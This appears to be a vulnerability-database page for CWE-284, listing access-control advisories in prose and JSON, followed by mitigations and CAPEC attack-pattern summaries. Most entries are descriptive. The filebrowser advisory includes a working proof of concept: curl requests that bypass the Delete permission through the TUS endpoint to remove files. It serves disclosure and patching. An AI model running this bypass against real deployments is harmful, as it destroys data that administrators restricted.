CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8585 vulnerabilities reference this CWE, most recent first.
GHSA-78X2-CWP9-5J42
Vulnerability from github – Published: 2024-08-20 20:04 – Updated: 2024-10-29 20:00Impact
Improper authentication on some endpoints used for member actions would allow an attacker to perform member-only actions, and read member information.
Vulnerable versions
This security vulnerability is present in Ghost v4.46.0-v5.89.5.
Ghost(Pro) customers are automatically updated to fixed versions ahead of disclosure.
If you're a self-hoster, please follow our update instructions.
Patches
v5.89.5 contains a fix for this issue.
Workarounds
Disable site membership in Ghost settings.
For more information
If you have any questions or comments about this advisory:
- Email us at security@ghost.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "4.46.0"
},
{
"fixed": "5.89.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@tryghost/portal"
},
"ranges": [
{
"events": [
{
"introduced": "1.22.2"
},
{
"fixed": "2.39.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43409"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-20T20:04:49Z",
"nvd_published_at": "2024-08-20T15:15:24Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nImproper authentication on some endpoints used for member actions would allow an attacker to perform member-only actions, and read member information.\n\n### Vulnerable versions\n\nThis security vulnerability is present in Ghost v4.46.0-v5.89.5.\n\nGhost(Pro) customers are automatically updated to fixed versions ahead of disclosure.\n\nIf you\u0027re a self-hoster, please follow our [update instructions](https://ghost.org/docs/update).\n\n### Patches\n\nv5.89.5 contains a fix for this issue.\n\n### Workarounds\n\nDisable site membership in Ghost settings.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@ghost.org](mailto:security@ghost.org)\n",
"id": "GHSA-78x2-cwp9-5j42",
"modified": "2024-10-29T20:00:41Z",
"published": "2024-08-20T20:04:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-78x2-cwp9-5j42"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43409"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/commit/dac25612520b571f58679764ecc27109e641d1db"
},
{
"type": "PACKAGE",
"url": "https://github.com/TryGhost/Ghost"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ghost\u0027s improper authentication allows access to member information and actions"
}
GHSA-796G-C5P5-HFRR
Vulnerability from github – Published: 2025-04-07 18:30 – Updated: 2025-04-08 21:31An issue in RUoYi v.4.8.0 allows a remote attacker to escalate privileges via the cancelAuthUserAll method does not properly validate whether the requesting user has administrative privileges
{
"affected": [],
"aliases": [
"CVE-2025-28410"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-07T16:15:25Z",
"severity": "CRITICAL"
},
"details": "An issue in RUoYi v.4.8.0 allows a remote attacker to escalate privileges via the cancelAuthUserAll method does not properly validate whether the requesting user has administrative privileges",
"id": "GHSA-796g-c5p5-hfrr",
"modified": "2025-04-08T21:31:37Z",
"published": "2025-04-07T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28410"
},
{
"type": "WEB",
"url": "https://github.com/20210607/cve_public/blob/main/ruoyi_case/CVE-2025-28409.md"
},
{
"type": "WEB",
"url": "https://github.com/yangzongzhuan/RuoYi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-797H-77WR-83M6
Vulnerability from github – Published: 2023-01-10 18:30 – Updated: 2026-04-08 18:32The Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_final_settings_setup' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to finalize activation of preset site configuration templates, which can be chosen and imported via a separate action documented in CVE-2022-4704.
{
"affected": [],
"aliases": [
"CVE-2022-4705"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-10T17:15:00Z",
"severity": "MODERATE"
},
"details": "The Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the \u0027wpr_final_settings_setup\u0027 AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to finalize activation of preset site configuration templates, which can be chosen and imported via a separate action documented in CVE-2022-4704.",
"id": "GHSA-797h-77wr-83m6",
"modified": "2026-04-08T18:32:00Z",
"published": "2023-01-10T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4705"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/admin/templates-kit.php?rev=2833046"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2023/01/eleven-vulnerabilities-patched-in-royal-elementor-addons"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a941aef-85f6-4719-b6ab-ace77a03e93e"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a941aef-85f6-4719-b6ab-ace77a03e93e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-798G-P7QC-9JV4
Vulnerability from github – Published: 2026-03-11 21:31 – Updated: 2026-03-13 21:31Insecure Access Control in Contact Plan, E-Mail, SMS and Fax components in Asseco SEE Live 2.0 allows remote attackers to access and execute attachments via a computable URL.
{
"affected": [],
"aliases": [
"CVE-2025-66956"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T21:16:13Z",
"severity": "CRITICAL"
},
"details": "Insecure Access Control in Contact Plan, E-Mail, SMS and Fax components in Asseco SEE Live 2.0 allows remote attackers to access and execute attachments via a computable URL.",
"id": "GHSA-798g-p7qc-9jv4",
"modified": "2026-03-13T21:31:44Z",
"published": "2026-03-11T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66956"
},
{
"type": "WEB",
"url": "https://github.com/TheWoodenBench/CVE-2025-66956"
},
{
"type": "WEB",
"url": "https://live.asee.io"
},
{
"type": "WEB",
"url": "http://asseco.com"
},
{
"type": "WEB",
"url": "http://live.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7995-JW5X-6779
Vulnerability from github – Published: 2022-05-17 03:41 – Updated: 2022-05-17 03:41The Accessibility services in Android 7.0 before 2016-10-01 mishandle motion events, which allows attackers to conduct touchjacking attacks and consequently gain privileges via a crafted application, aka internal bug 30647115.
{
"affected": [],
"aliases": [
"CVE-2016-3923"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-10T10:59:00Z",
"severity": "MODERATE"
},
"details": "The Accessibility services in Android 7.0 before 2016-10-01 mishandle motion events, which allows attackers to conduct touchjacking attacks and consequently gain privileges via a crafted application, aka internal bug 30647115.",
"id": "GHSA-7995-jw5x-6779",
"modified": "2022-05-17T03:41:51Z",
"published": "2022-05-17T03:41:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3923"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/5f256310187b4ff2f13a7abb9afed9126facd7bc"
},
{
"type": "WEB",
"url": "http://source.android.com/security/bulletin/2016-10-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93310"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-79C6-5CW9-RPWC
Vulnerability from github – Published: 2024-09-17 00:31 – Updated: 2025-11-04 18:31The issue was addressed with improved checks. This issue is fixed in visionOS 2, macOS Sequoia 15. A malicious app with root privileges may be able to modify the contents of system files.
{
"affected": [],
"aliases": [
"CVE-2024-40825"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-17T00:15:48Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in visionOS 2, macOS Sequoia 15. A malicious app with root privileges may be able to modify the contents of system files.",
"id": "GHSA-79c6-5cw9-rpwc",
"modified": "2025-11-04T18:31:19Z",
"published": "2024-09-17T00:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40825"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121238"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121249"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/33"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/36"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-79G5-G637-3GXP
Vulnerability from github – Published: 2022-05-14 02:25 – Updated: 2022-05-14 02:25The Windows font library in Microsoft Office 2010 SP2, Word 2010 SP2, Word Automation Services on SharePoint Server 2010 SP2, and Office Web Apps 2010 SP2 allows remote attackers to execute arbitrary code via a crafted embedded font, aka "Microsoft Office Graphics RCE Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2016-0183"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-05-11T01:59:00Z",
"severity": "HIGH"
},
"details": "The Windows font library in Microsoft Office 2010 SP2, Word 2010 SP2, Word Automation Services on SharePoint Server 2010 SP2, and Office Web Apps 2010 SP2 allows remote attackers to execute arbitrary code via a crafted embedded font, aka \"Microsoft Office Graphics RCE Vulnerability.\"",
"id": "GHSA-79g5-g637-3gxp",
"modified": "2022-05-14T02:25:02Z",
"published": "2022-05-14T02:25:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0183"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-054"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1035819"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79H5-MG2M-5MFM
Vulnerability from github – Published: 2026-03-23 15:30 – Updated: 2026-03-23 15:30A vulnerability was found in CodePhiliaX Chat2DB up to 0.3.7. This affects the function Upload of the file chat2db-server/chat2db-server-web/chat2db-server-web-api/src/main/java/ai/chat2db/server/web/api/controller/driver/JdbcDriverController.java of the component JDBC Driver Upload. Performing a manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-4586"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-23T13:16:31Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in CodePhiliaX Chat2DB up to 0.3.7. This affects the function Upload of the file chat2db-server/chat2db-server-web/chat2db-server-web-api/src/main/java/ai/chat2db/server/web/api/controller/driver/JdbcDriverController.java of the component JDBC Driver Upload. Performing a manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-79h5-mg2m-5mfm",
"modified": "2026-03-23T15:30:44Z",
"published": "2026-03-23T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4586"
},
{
"type": "WEB",
"url": "https://fx4tqqfvdw4.feishu.cn/docx/PgtzdpfoWoTR0yxB7P6cujGanih?from=from_copylink"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.352432"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.352432"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.775596"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-79PF-VX4X-7JMM
Vulnerability from github – Published: 2026-03-04 22:38 – Updated: 2026-03-05 22:50Summary
A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
Details
The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:
// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)
func tusDeleteHandler(cache UploadCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked
return http.StatusForbidden, nil
}
// ...
err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted
The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:
// http/resource.go - resourceDeleteHandler (CORRECT)
func resourceDeleteHandler(fileCache FileCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission
return http.StatusForbidden, nil
}
This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.
Proposed fix:
// http/tus_handlers.go
- if r.URL.Path == "/" || !d.user.Perm.Create {
+ if r.URL.Path == "/" || !d.user.Perm.Delete {
PoC
- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser)
- Tested on: Kali Linux, go version go1.23+
Setup section
# Build and initialize
git clone https://github.com/filebrowser/filebrowser
cd filebrowser
go build -o filebrowser .
./filebrowser config init
# Create a test user with Create=true but Delete=false
./filebrowser users add testuser SuperSecurePassword1234 \
--perm.create=true \
--perm.delete=false
# Start server
./filebrowser &
POC script steps
- Confirm the Delete permission is correctly enforced on the standard endpoint:
TOKEN=$(curl -s -X POST localhost:8080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"SuperSecurePassword1234"}')
# Attempt deletion via the standard resource endpoint → should be blocked
curl -s -X DELETE "localhost:8080/api/resources/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 403
- Bypass via the TUS Delete endpoint:
# Initiate a TUS upload to register the file in the upload cache
curl -s -X POST "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-H "Upload-Length: 18" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 201
# Now delete via the TUS endpoint - Perm.Delete is NOT checked
curl -s -X DELETE "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false
Observed results:
DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced )
DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )
Impact
This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:
- Multiple users share a single instance, and
- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations
An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.61.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.61.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29188"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T22:38:01Z",
"nvd_published_at": "2026-03-05T21:16:23Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.\n\n### Details\n\nThe tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:\n\n```go\n// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)\nfunc tusDeleteHandler(cache UploadCache) handleFunc {\n return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if r.URL.Path == \"/\" || !d.user.Perm.Create { // \u2190 Wrong permission checked\n return http.StatusForbidden, nil\n }\n // ...\n err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted\n```\n\nThe correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:\n\n```go\n// http/resource.go - resourceDeleteHandler (CORRECT)\nfunc resourceDeleteHandler(fileCache FileCache) handleFunc {\n return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if r.URL.Path == \"/\" || !d.user.Perm.Delete { // \u2190 Correct permission\n return http.StatusForbidden, nil\n }\n```\n\nThis inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.\n\n### Proposed fix:\n\n```go\n// http/tus_handlers.go\n- if r.URL.Path == \"/\" || !d.user.Perm.Create {\n+ if r.URL.Path == \"/\" || !d.user.Perm.Delete {\n```\n\n### PoC\n\n- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) \n- Tested on: Kali Linux, go version go1.23+\n\n### Setup section\n\n```bash\n# Build and initialize\ngit clone https://github.com/filebrowser/filebrowser\ncd filebrowser\ngo build -o filebrowser .\n./filebrowser config init\n\n# Create a test user with Create=true but Delete=false\n./filebrowser users add testuser SuperSecurePassword1234 \\\n --perm.create=true \\\n --perm.delete=false\n\n# Start server\n./filebrowser \u0026\n```\n\n### POC script steps\n\n1. Confirm the Delete permission is correctly enforced on the standard endpoint:\n\n```bash\nTOKEN=$(curl -s -X POST localhost:8080/api/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"testuser\",\"password\":\"SuperSecurePassword1234\"}\u0027)\n\n# Attempt deletion via the standard resource endpoint \u2192 should be blocked\ncurl -s -X DELETE \"localhost:8080/api/resources/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 403\n```\n\n2. Bypass via the TUS Delete endpoint:\n\n```bash\n# Initiate a TUS upload to register the file in the upload cache\ncurl -s -X POST \"localhost:8080/api/tus/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: 18\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 201\n\n# Now delete via the TUS endpoint - Perm.Delete is NOT checked\ncurl -s -X DELETE \"localhost:8080/api/tus/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 204 \u2190 File deleted despite Perm.Delete=false\n```\n\n**Observed results:**\n```\nDELETE /api/resources/target.txt --\u003e 403 Forbidden ( permission enforced )\nDELETE /api/tus/target.txt --\u003e 204 No Content ( permission bypassed )\n```\n\n### Impact\nThis is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:\n\n- Multiple users share a single instance, and\n- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations\n\nAn attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.",
"id": "GHSA-79pf-vx4x-7jmm",
"modified": "2026-03-05T22:50:21Z",
"published": "2026-03-04T22:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-79pf-vx4x-7jmm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29188"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/7ed1425115be602c2b23236c410098ea2d74b42f"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.61.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "File Browser\u0027s TUS Delete Endpoint Bypasses Delete Permission Check"
}
GHSA-79PM-WFXC-J388
Vulnerability from github – Published: 2022-05-17 03:03 – Updated: 2022-05-17 03:03An elevation of privilege vulnerability in the HTC sound codec driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31386004.
{
"affected": [],
"aliases": [
"CVE-2016-6779"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-12T15:59:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability in the HTC sound codec driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31386004.",
"id": "GHSA-79pm-wfxc-j388",
"modified": "2022-05-17T03:03:37Z",
"published": "2022-05-17T03:03:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6779"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2016-12-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94675"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.